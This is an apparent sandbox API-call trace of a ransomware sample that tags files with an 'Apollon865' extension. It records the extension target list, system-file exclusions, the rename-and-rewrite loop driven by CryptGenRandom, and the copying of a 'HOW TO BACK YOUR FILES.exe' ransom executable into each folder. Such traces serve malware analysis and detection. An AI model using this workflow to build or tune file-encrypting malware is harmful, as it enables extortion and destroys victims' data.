	[0080.030] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0080.030] lstrlenW (lpString="vdi") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0080.030] lstrlenW (lpString="vhd") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0080.030] lstrlenW (lpString="vhdx") returned 4
	[0080.030] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0080.030] lstrlenW (lpString="avhd") returned 4
	[0080.030] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0080.030] lstrlenW (lpString="db") returned 2
	[0080.030] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0080.030] lstrlenW (lpString="db2") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0080.030] lstrlenW (lpString="db3") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0080.030] lstrlenW (lpString="dbf") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0080.030] lstrlenW (lpString="mdf") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0080.030] lstrlenW (lpString="mdb") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0080.030] lstrlenW (lpString="sql") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0080.030] lstrlenW (lpString="sqlite") returned 6
	[0080.030] lstrcmpiW (lpString1="st.bmp", lpString2="sqlite") returned 1
	[0080.030] lstrlenW (lpString="sqlite3") returned 7
	[0080.030] lstrcmpiW (lpString1="est.bmp", lpString2="sqlite3") returned -1
	[0080.030] lstrlenW (lpString="sqlitedb") returned 8
	[0080.030] lstrcmpiW (lpString1="uest.bmp", lpString2="sqlitedb") returned 1
	[0080.030] lstrlenW (lpString="xml") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0080.030] lstrlenW (lpString="$er") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0080.030] lstrlenW (lpString="4dd") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0080.030] lstrlenW (lpString="4dl") returned 3
	[0080.030] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0080.031] lstrlenW (lpString="^^^") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0080.031] lstrlenW (lpString="abs") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0080.031] lstrlenW (lpString="abx") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0080.031] lstrlenW (lpString="accdb") returned 5
	[0080.031] lstrcmpiW (lpString1="t.bmp", lpString2="accdb") returned 1
	[0080.031] lstrlenW (lpString="accdc") returned 5
	[0080.031] lstrcmpiW (lpString1="t.bmp", lpString2="accdc") returned 1
	[0080.031] lstrlenW (lpString="accde") returned 5
	[0080.031] lstrcmpiW (lpString1="t.bmp", lpString2="accde") returned 1
	[0080.031] lstrlenW (lpString="accdr") returned 5
	[0080.031] lstrcmpiW (lpString1="t.bmp", lpString2="accdr") returned 1
	[0080.031] lstrlenW (lpString="accdt") returned 5
	[0080.031] lstrcmpiW (lpString1="t.bmp", lpString2="accdt") returned 1
	[0080.031] lstrlenW (lpString="accdw") returned 5
	[0080.031] lstrcmpiW (lpString1="t.bmp", lpString2="accdw") returned 1
	[0080.031] lstrlenW (lpString="accft") returned 5
	[0080.031] lstrcmpiW (lpString1="t.bmp", lpString2="accft") returned 1
	[0080.031] lstrlenW (lpString="adb") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.031] lstrlenW (lpString="adb") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0080.031] lstrlenW (lpString="ade") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0080.031] lstrlenW (lpString="adf") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0080.031] lstrlenW (lpString="adn") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0080.031] lstrlenW (lpString="adp") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0080.031] lstrlenW (lpString="alf") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0080.031] lstrlenW (lpString="ask") returned 3
	[0080.031] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0080.031] lstrlenW (lpString="btr") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0080.032] lstrlenW (lpString="cat") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0080.032] lstrlenW (lpString="cdb") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0080.032] lstrlenW (lpString="ckp") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0080.032] lstrlenW (lpString="cma") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0080.032] lstrlenW (lpString="cpd") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0080.032] lstrlenW (lpString="dacpac") returned 6
	[0080.032] lstrcmpiW (lpString1="st.bmp", lpString2="dacpac") returned 1
	[0080.032] lstrlenW (lpString="dad") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0080.032] lstrlenW (lpString="dadiagrams") returned 10
	[0080.032] lstrlenW (lpString="daschema") returned 8
	[0080.032] lstrcmpiW (lpString1="uest.bmp", lpString2="daschema") returned 1
	[0080.032] lstrlenW (lpString="db-journal") returned 10
	[0080.032] lstrlenW (lpString="db-shm") returned 6
	[0080.032] lstrcmpiW (lpString1="st.bmp", lpString2="db-shm") returned 1
	[0080.032] lstrlenW (lpString="db-wal") returned 6
	[0080.032] lstrcmpiW (lpString1="st.bmp", lpString2="db-wal") returned 1
	[0080.032] lstrlenW (lpString="dbc") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0080.032] lstrlenW (lpString="dbs") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0080.032] lstrlenW (lpString="dbt") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0080.032] lstrlenW (lpString="dbv") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0080.032] lstrlenW (lpString="dbx") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0080.032] lstrlenW (lpString="dcb") returned 3
	[0080.032] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0080.033] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0080.033] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0080.033] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.Apollon865") returned 71
	[0080.033] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp.apollon865"), dwFlags=0x1) returned 1
	[0080.034] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\guest.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.034] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=49208) returned 1
	[0080.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0080.035] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0080.036] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.036] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0080.036] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc340, lpName=0x0) returned 0x15c
	[0080.037] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc340) returned 0x100000
	[0080.047] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0080.048] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.048] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0080.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0080.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0080.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.049] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.049] CloseHandle (hObject=0x15c) returned 1
	[0080.049] CloseHandle (hObject=0x9c) returned 1
	[0080.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0080.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.050] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f90c530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.050] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.050] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2=".") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="..") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="windows") returned -1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="bootmgr") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="temp") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="pagefile.sys") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="boot") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="ids.txt") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="ntuser.dat") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="perflogs") returned 1
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2="MSBuild") returned 1
	[0080.050] lstrlenW (lpString="user.bmp") returned 8
	[0080.050] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\guest.bmp") returned 60
	[0080.050] lstrcpyW (in: lpString1=0x119e66e, lpString2="user.bmp" | out: lpString1="user.bmp") returned="user.bmp"
	[0080.050] lstrlenW (lpString="user.bmp") returned 8
	[0080.050] lstrlenW (lpString="Apollon865") returned 10
	[0080.050] lstrlenW (lpString=".dll") returned 4
	[0080.050] lstrcmpiW (lpString1="user.bmp", lpString2=".dll") returned 1
	[0080.050] lstrlenW (lpString=".lnk") returned 4
	[0080.051] lstrcmpiW (lpString1="user.bmp", lpString2=".lnk") returned 1
	[0080.051] lstrlenW (lpString=".ini") returned 4
	[0080.051] lstrcmpiW (lpString1="user.bmp", lpString2=".ini") returned 1
	[0080.051] lstrlenW (lpString=".sys") returned 4
	[0080.051] lstrcmpiW (lpString1="user.bmp", lpString2=".sys") returned 1
	[0080.051] lstrlenW (lpString="user.bmp") returned 8
	[0080.051] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.Apollon865") returned 70
	[0080.051] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp.apollon865"), dwFlags=0x1) returned 1
	[0080.052] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\user.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\user.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.052] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=49208) returned 1
	[0080.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0080.053] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0080.053] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.053] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0080.053] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc340, lpName=0x0) returned 0x15c
	[0080.054] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc340) returned 0x100000
	[0080.055] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0080.056] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.056] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0080.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0080.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0080.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.057] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.057] CloseHandle (hObject=0x15c) returned 1
	[0080.057] CloseHandle (hObject=0x9c) returned 1
	[0080.058] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0080.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.059] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0
	[0080.059] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.059] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0080.059] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures"
	[0080.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0080.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0080.059] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned 67
	[0080.059] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures"
	[0080.059] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.059] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.060] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.060] GetLastError () returned 0x0
	[0080.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.060] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.061] CloseHandle (hObject=0x10c) returned 1
	[0080.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.061] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.061] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f932690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f932690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.061] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.061] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.061] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.061] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f932690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f932690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.061] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.061] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.061] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.061] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.061] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f932690, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f932690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.061] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.061] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2=".") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="..") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="windows") returned -1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="bootmgr") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="temp") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="pagefile.sys") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="boot") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="ids.txt") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="ntuser.dat") returned 1
	[0080.061] lstrcmpiW (lpString1="usertile10.bmp", lpString2="perflogs") returned 1
	[0080.062] lstrcmpiW (lpString1="usertile10.bmp", lpString2="MSBuild") returned 1
	[0080.062] lstrlenW (lpString="usertile10.bmp") returned 14
	[0080.062] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*") returned 69
	[0080.062] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile10.bmp" | out: lpString1="usertile10.bmp") returned="usertile10.bmp"
	[0080.062] lstrlenW (lpString="usertile10.bmp") returned 14
	[0080.062] lstrlenW (lpString="Apollon865") returned 10
	[0080.062] lstrcmpiW (lpString1="tile10.bmp", lpString2="Apollon865") returned 1
	[0080.062] lstrlenW (lpString=".dll") returned 4
	[0080.062] lstrcmpiW (lpString1="usertile10.bmp", lpString2=".dll") returned 1
	[0080.062] lstrlenW (lpString=".lnk") returned 4
	[0080.062] lstrcmpiW (lpString1="usertile10.bmp", lpString2=".lnk") returned 1
	[0080.062] lstrlenW (lpString=".ini") returned 4
	[0080.062] lstrcmpiW (lpString1="usertile10.bmp", lpString2=".ini") returned 1
	[0080.062] lstrlenW (lpString=".sys") returned 4
	[0080.062] lstrcmpiW (lpString1="usertile10.bmp", lpString2=".sys") returned 1
	[0080.062] lstrlenW (lpString="usertile10.bmp") returned 14
	[0080.062] lstrlenW (lpString="bak") returned 3
	[0080.062] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0080.062] lstrlenW (lpString="ba_") returned 3
	[0080.062] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0080.062] lstrlenW (lpString="dbb") returned 3
	[0080.062] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0080.062] lstrlenW (lpString="vmdk") returned 4
	[0080.062] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0080.062] lstrlenW (lpString="rar") returned 3
	[0080.062] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
